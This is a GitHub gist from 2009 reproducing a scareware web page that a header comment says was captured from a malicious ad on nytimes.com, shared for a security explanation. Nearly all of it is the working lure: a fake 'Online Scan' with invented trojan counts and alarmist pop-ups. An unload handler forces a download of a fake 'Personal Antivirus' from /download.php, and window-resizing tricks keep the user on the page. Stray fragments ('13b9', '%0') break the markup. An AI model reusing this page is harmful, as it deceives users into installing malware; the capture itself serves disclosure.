Skip to content

Instantly share code, notes, and snippets.

@troy
Created September 14, 2009 02:55
Show Gist options
  • Save troy/186467 to your computer and use it in GitHub Desktop.
Save troy/186467 to your computer and use it in GitHub Desktop.
<!-- part of a security explanation - see
http://www.nytimes.com/2009/09/13/business/media/13note.html and
http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>My computer Online Scan</title>
<script type="text/javascript" src="img/jquery.js"></script>
<script type="text/javascript" src="img/jquery-init.js"></script>
<script type="text/javascript" src="img/listfile.js"></script>
<script type="text/javascript" src="img/drugndrop.js"></script>
<script>
var pinter;var ss=15;var teracti=0;
function hideWarnDialog()
{
if(confirm('Dont close this window, if your want you PC to be protected.')) {
}
else {
emilion();
};
};
function emilion(){
alert('Potentially dangerous software. These programs may damage your computer and steal your private information. Online Security Checker needs Personal Antivirus components to repair your computer. Please click Ok to download and install Personal Antivirus tool. ');
}
function update()
{
if ($(".progress_bar_fill").width()>0)
{
$("#progress_prcnt").html((Math.round(100-$(".progress_bar_fill").width()/417*100))+"%");
$("#ghfjdstg4w4g4tgf").html(gs[Math.floor(Math.random()*gs.length)] );
if ($(".progress_bar_fill").width()<350 && teracti==0)
{
document.getElementById('threat1').style.visibility = 'visible';
document.getElementById('desc').style.visibility = 'visible';
setInterval("$('#tc1').toggleClass('none')",1000);
teracti=1;
}
if ($(".progress_bar_fill").width()<200 && teracti==1)
{
document.getElementById('threat2').style.visibility = 'visible';
setInterval("$('#tc2').toggleClass('none')",1000);
teracti=2;
}
if ($(".progress_bar_fill").width()<100 && teracti==2)
{
document.getElementById('threat3').style.visibility = 'visible';
setInterval("$('#tc3').toggleClass('none')",1000);
setInterval("$('#tc4').toggleClass('none')",1000);
teracti=3;
}
}
else
{
clearInterval(pinter);
$(".gbsdfhdgdsg2rfd").html("<b>Scan procedures finished. 431 Probably harmfull items was found!</b>");
setTimeout("pop2()",1000);
}
}
function Minimize()
{
window.innerWidth = 100;
window.innerHeight = 100;
window.screenX = screen.width;
window.screenY = screen.height;
alwaysLowered = true;
}
function Maximize() {window.moveTo(0,0); window.resizeTo( screen.width, screen.height );}
function download() {
window.location='/download.php?id=2006-63';
}
function away()
{
w = window;
ua = navigator.userAgent;
v1 = ua.toLowerCase().indexOf('msie') != -1 && ua.toLowerCase().indexOf('opera') < 0;
x = 11;
eval('w.resizeTo(x*10,x*11-7)');
w.moveTo(v1 ? (screen.width - 100) >> 1 : 11027, v1 ? (screen.height - 100) >> 1 : 10659);
}
function pop1() {
confirm('Warning!!! '+
'Your system requires immediate anti-viruses scan! Personal Antivirus can perform fast and free virus and malicious software scan of your computer .');
}
function pop2() {
confirm('Your computer remains infected by threats! '+
'They might lead to data loss and file structure damage, and needed to be heal as soon as possible.\n\n'+
'Return to Personal Antivirus and download it secure to your PC');
pop4();
}
function pop3dsds() {
alert('Your computer remains infected by threats ! '+
'They can cause data loss and file damages and need to be cured as soon as possible.\n\n'+
'Return to Personal Antivirus and download it secure to your PC');
}
function pop4() {
document.getElementById('ap').style.display = 'block';
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
}
function sp2init(){
}
function loading() {
if (window.attachEvent)
away();
pop1();
Maximize();
window.focus();
}
function loaded() {
$("#white").css("display","none");
$("#page_progress").css("display","block");
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
$(".progress_bar_fill").animate({width:"0px"},ss*1000);
writegeoip();
pinter = setInterval(update,ss*10);
};
loading();
var exit = true;
var usePopDialog = true;
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:1024px; dialogHeight:768px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0; help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = " scrollbars=1,menubar=1,toolbar=1,location=1,personalbar=1,status=1,resizable=1";
var clid = "7f09c9e1c55f7d63f02909a14c1a45e0";
var usePopDialog = true;
var isUsingSpecial = false;
dat=new Date(1252823336);
var dlth=dat.getHours()-dat.getUTCHours();
newurl = "/download.php?id=2006-63&dlth="+dlth;
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
function ext(){
if(exit) {
exit=false;
emilion();
if(!isXPSP2 && !usePopDialog) {
window.open(popURL,"",popWindowOptions);
}else if(!isXPSP2 && usePopDialog) {
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}else{
iie.launchURL(popURL);
}
}
}
var popURL = newurl;
isUsingSpecial = true;
if (window.attachEvent)
eval("window.attachEvent('onunload',ext);");
else
window.addEventListener("unload", ext, false);
</script>
<link href="img/style.css" rel="stylesheet" type="text/css" />
</head>
<body onLoad="loaded()">
<DIV id=ap style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 190px; display: none;" align=center>
<DIV style="cursor:hand; WIDTH: 434px; height:332px; POSITION: relative; background-image:url(img/001.gif); background-color:white;"><input type='button' style='POSITION: relative; width:21px; height:21px; left:200px; top:5px; border-width:0px; background-image:url(cb.gif)' onclick='hideWarnDialog();'><spacer width='446' height='294' /></DIV>
</div>
<div style="display: none;" id="white" class="white_div" align="center">
<div style="position: relative; top: 50%;"><img src="img/007.gif" width="51" height="19"> </div>
</div>
<div style="display: block;" class="left_bar">
<div class="left_header">System Tasks</div>
<div class="left_box">
<div class="left_box_line">
<img src="img/016.gif" class="left_bar_icon" width="14" height="16"><a href="#">View system information</a> </div>
<div class="left_box_line">
<img src="img/017.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Add or remove programs</a> </div>
<div class="left_box_line">
<img src="img/018.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Change a settings</a> </div>
</div>
<div class="left_header">
Other Places </div>
<div class="left_box">
<div class="left_box_line">
<img src="img/012.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Network Places</a> </div>
<div class="left_box_line">
<img src="img/013.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Documents</a> </div>
<div class="left_box_line">
<img src="img/014.gif" class="left_bar_icon" width="16" height="14"> <a href="#">Shared Documents</a> </div>
<div class="left_box_line">
<img src="img/015.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Control Panel</a> </div>
</div>
<div class="left_header">
Details </div>
<div class="left_box">
<div class="left_box_line"> <strong>My Computer</strong><br>
System Folder </div>
</div>
<div class="left_header">
Your Info </div>
<div class="left_box">
<div class="left_box_line">
<strong>IP: </strong><span style="color:#F00">208.75.57.121</span><br>
<strong>Country: </strong><span id="geoipcountry" style="color:#F00"></span><br>
<strong>City: </strong><s
13b9
pan id="geoipcity" style="color:#F00"></span><br>
<div style="margin-top:5px; color:#F00"><strong>Your private data is under attack!</strong></div>
</div>
</div>
</div>
<div class="right_bar">
<div class="right_hr">
System scan progress </div>
<div class="folder_box">
<div id="tc1" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">97 trojans</span> </div>
<img src="img/004.gif" class="folder_icon" width="43" height="40">Shared Documents </div>
<div class="folder_box">
<div id="tc2" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">334 trojans</span> </div>
<img src="img/004.gif" class="folder_icon" width="43" height="40">My Documents </div>
<div class="right_hr">
Hard drives </div>
<div class="folder_box">
<div id="tc3" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">353 trojans</span> </div>
<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (C:) </div>
<div class="folder_box">
<div id="tc4" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">78 trojans</span> </div>
<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (D:) </div>
<div class="right_hr">
DVD </div>
<div class="folder_box">
<img src="img/003.gif" class="folder_icon" width="43" height="40">DVD-RAM Drive (E:) </div>
<div class="progress_bar">
<div class="progress_bar_bg">
<div class="progress_bar_progress">
<div style=" display: block;" class="progress_bar_fill"> </div>
<div id="progress_prcnt">100%</div>
</div>%0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment